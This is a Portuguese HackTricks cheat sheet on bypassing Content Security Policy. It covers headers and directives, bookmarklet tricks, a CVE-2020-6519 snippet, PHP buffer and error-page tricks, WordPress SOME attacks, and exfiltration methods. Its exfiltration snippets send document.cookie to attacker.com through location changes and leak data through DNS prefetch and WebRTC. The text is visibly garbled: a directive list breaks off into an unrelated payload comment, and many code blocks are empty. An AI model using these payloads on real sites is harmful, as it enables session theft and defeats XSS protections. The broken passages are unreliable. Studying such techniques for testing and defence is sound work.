# Bypass de Política de Segurança de Conteúdo (CSP)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3** 🐞 Leia tutoriais sobre bugs web3 🔔 Receba notificações sobre novos programas de recompensas por bugs 💬 Participe de discussões na comunidade ## O que é CSP Política de Segurança de Conteúdo ou CSP é uma tecnologia integrada ao navegador que **ajuda a proteger contra ataques como cross-site scripting (XSS)**. Ela lista e descreve caminhos e fontes, a partir das quais o navegador pode carregar recursos com segurança. Os recursos podem incluir imagens, frames, javascript e mais. Aqui está um exemplo de recursos permitidos do domínio local (self) para serem carregados e executados em linha e permitir funções de execução de código de string como `eval`, `setTimeout` ou `setInterval:` A Política de Segurança de Conteúdo é implementada via **cabeçalhos de resposta** ou **elementos meta da página HTML**. O navegador segue a política recebida e bloqueia ativamente violações à medida que são detectadas. Implementado via cabeçalho de resposta: ```http Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` Implementado via meta tag: ```markup ``` ### Cabeçalhos * `Content-Security-Policy` * `Content-Security-Policy-Report-Only` Este não bloqueará nada, apenas enviará relatórios (usado em ambiente de pré-produção). ## Definindo recursos CSP funciona restringindo as origens de onde o conteúdo ativo e passivo pode ser carregado. Ele também pode restringir certos aspectos do conteúdo ativo, como a execução de javascript inline e o uso de `eval()`. ``` default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` ### Diretivas * **script-src**: Esta diretiva especifica as fontes permitidas para JavaScript. Isso inclui não apenas URLs carregados diretamente em elementos, mas também coisas como manipuladores de eventos de script inline (onclick) e folhas de estilo XSLT que podem acionar a execução de script. * **default-src**: Esta diretiva define a política para buscar recursos por padrão. Quando as diretivas de busca estão ausentes no cabeçalho CSP, o navegador segue esta diretiva por padrão. * **Child-src**: Esta diretiva define os recursos permitidos para trabalhadores da web e conteúdo de quadros incorporados. * **connect-src**: Esta diretiva restringe URLs para carregar usando interfaces como fetch, websocket, XMLHttpRequest * **frame-src**: Esta diretiva restringe URLs para quadros que podem ser chamados. * **frame-ancestors**: Esta diretiva especifica as fontes que podem incorporar a página atual. Esta diretiva se aplica a [``](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/frame), [` // The bot will load an URL with the payload ``` ### Via Bookmarklets Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens. Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/) ```javascript document.querySelector('DIV').innerHTML=""; ``` ### Vazamento de Informações CSP + Iframe Imagine uma situação em que uma **página está redirecionando** para uma **página diferente com um segredo dependendo** do **usuário**. Por exemplo, o usuário **admin** acessando **redirectme.domain1.com** é redirecionado para **adminsecret321.domain2.com** e você pode causar um XSS no admin.\ **Além disso, as páginas redirecionadas não são permitidas pela política de segurança, mas a página que redireciona é.** Você pode vazar o domínio para onde o admin é redirecionado através de: * **violação de CSP** * **regras de CSP.** A violação de CSP é um vazamento instantâneo. Tudo o que precisa ser feito é carregar um iframe apontando para `https://redirectme.domain1.com` e ouvir o evento `securitypolicyviolation` que contém a propriedade `blockedURI` contendo o domínio do URI bloqueado. Isso ocorre porque o `https://redirectme.domain1.com` (permitido pelo CSP) redireciona para `https://adminsecret321.domain2.com` (**bloqueado pelo CSP**). Isso faz uso de um comportamento indefinido de como lidar com iframes com CSP. Chrome e Firefox se comportam de maneira diferente em relação a isso. Quando você conhece os caracteres que podem compor o subdomínio secreto, também pode usar uma pesquisa binária e verificar quando o CSP bloqueou o recurso e quando não criando diferentes domínios proibidos no CSP (neste caso, o segredo pode estar na forma doc-X-XXXX.secdrivencontent.dev) ``` img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev ``` Truque de [**aqui**](https://ctftime.org/writeup/29310).
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3** 🐞 Leia tutoriais de bugs web3 🔔 Receba notificações sobre novas recompensas por bugs 💬 Participe de discussões na comunidade ## Tecnologias Inseguras para Bypass CSP ### Sobrecarga de buffer de resposta PHP O PHP é conhecido por **armazenar em buffer a resposta em 4096** bytes por padrão. Portanto, se o PHP estiver mostrando um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada antes** do **cabeçalho CSP**, fazendo com que o cabeçalho seja ignorado.\ Então, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado. Idea de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). ### Reescrever a página de erro De [**este writeup**](https://blog.ssrf.kr/69) parece que foi possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo. ```javascript a = window.open('/' + 'x'.repeat(4100)); setTimeout(function() { a.document.body.innerHTML = ``; }, 1000); ``` ### SOME + 'self' + wordpress SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** de **outros endpoints da mesma origem**. Isso é feito carregando o endpoint vulnerável de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** na **carga útil** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, verifique: {% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md) {% endcontent-ref %} Além disso, o **wordpress** tem um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos). Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `` note que este **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do **endpoint de retorno de chamada vulnerável** que **burla o CSP** para dar mais privilégios a um usuário, instalar um novo plugin...\ Para mais informações sobre como realizar este ataque, verifique [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## Bypasses de Exfiltração CSP Se houver um CSP estrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações. ### Location Você pode simplesmente atualizar a localização para enviar ao servidor do atacante as informações secretas: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` ### Meta tag Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vazará conteúdo) ```html ``` ### DNS Prefetch Para carregar páginas mais rapidamente, os navegadores pré-resolvem os nomes de host em endereços IP e os armazenam em cache para uso posterior.\ Você pode indicar a um navegador para pré-resolver um nome de host com: `` Você pode abusar desse comportamento para **exfiltrar informações confidenciais por meio de solicitações DNS**: ```javascript var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` Outra maneira: ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); ``` Para evitar que isso aconteça, o servidor pode enviar o cabeçalho HTTP: ``` X-DNS-Prefetch-Control: off ``` {% hint style="info" %} Aparentemente, essa técnica não funciona em navegadores headless (bots) {% endhint %} ### WebRTC Em várias páginas, é possível ler que o **WebRTC não verifica a política `connect-src`** do CSP. ```javascript var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]}); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp)); ``` No entanto, parece que [não é mais possível](https://github.com/w3c/webrtc-nv-use-cases/issues/35) (ou pelo menos não é tão fácil). Se você sabe como exfiltrar informações com o WebRTC [**envie um pull request, por favor!**](https://github.com/carlospolop/hacktricks) ## Verificando as Políticas CSP Online * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## Criando CSP Automaticamente [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) ## Referências * [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) * [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) * [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) * [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) * [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) ​
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3** 🐞 Leia tutoriais de bugs web3 🔔 Receba notificações sobre novas recompensas por bugs 💬 Participe de discussões na comunidade
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).